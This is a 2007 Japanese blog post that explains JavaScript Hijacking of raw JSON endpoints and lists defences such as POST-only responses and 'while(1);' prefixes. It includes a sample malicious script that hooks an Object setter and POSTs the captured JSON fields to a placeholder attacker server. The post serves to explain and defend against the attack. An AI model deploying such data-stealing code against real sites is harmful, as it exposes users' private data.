JavaScript Hijacking への対策 ― 2007年04月05日 00時51分11秒
- Fortify、Ajaxのセキュリティ問題に警鐘 (スラッシュドット ジャパン)
Gmail で発見された時点で知っとけ>ヲレ、って感じですが。。。今ちょうどこの辺取り掛かろうとしていたところなのでメモ。
原理としては、そのまんま eval
する前提で生 JSON を吐き出す CGI を作ってしまうと、Setter を利用したマリシャスコードを設置した悪意あるサイトへ誘導することによって、JSON による通信内容を横取りできちゃうかもしれないよ、というもの。マリシャスコードのコード例は、たとえば以下のような感じかしら? (とか言いながら、試してないのでもしかしたら動かないかも知れんが。。。つか、setter =
式だからこそ書けちゃうものなのかなぁ?)
<script> Object.__defineSetter__("email", function(x) { var objstr = ""; for (fld in this){ objstr += fld + ": " + this[fld] + ", "; } objstr += "email: " + x; var req = new XMLHttpRequest; req.open("POST", "http://(攻撃者が情報を収集するために設置した CGI へのパス)"); req.send("obj=" + escape(objstr)); }); </script> <script src="http://(生 JSON を吐き出す CGI へのパス)"></script>
このコード例だと、JSON に email
というフィールドが存在すると、スーパークラスである Object
に設定されたセッタ email
が実行されて、JSON の内容が攻撃者のサーバーに送信されてしまう、という仕組み。
で、これを防ぐための手立てとして、以下が提案されている、と。
- サーバー側で Referer チェックを行う (非推奨: Referer を送信したくないユーザーの要求にこたえられなくなる可能性)。
- POST メソッドによる要求時のみ、JSON によるデータを送出するようにする。
<script>
タグを利用した読み込みは必ず GET メソッドになるため、この方法は有効。 - JSON にゴミを加えることによって、そのままではスクリプトとして実行できないようにする。例えば、先頭に
while(1);
を付け加えたり、全体を/*
~*/
で括ったりする。正規のクライアントスクリプトではこれらのゴミを取り除いてからeval
することによってオブジェクトを生成するが、マリシャスコードではゴミを取り除くことができないため、この方法は有効。 - そもそも JSON を使わない。
他に、「盲目のクライアント」なる手法が紹介されていましたが、有効性がいまいち理解できなかったので自粛。。。誰かフォローをお願いします m(_ _;)m 。
コメント
トラックバック
このエントリのトラックバックURL: http://harapeko.asablo.jp/blog/2007/04/05/1370980/tb
※なお、送られたトラックバックはブログの管理者が確認するまで公開されません。
コメントをどうぞ
※メールアドレスとURLの入力は必須ではありません。 入力されたメールアドレスは記事に反映されず、ブログの管理者のみが参照できます。
※投稿には管理者が設定した質問に答える必要があります。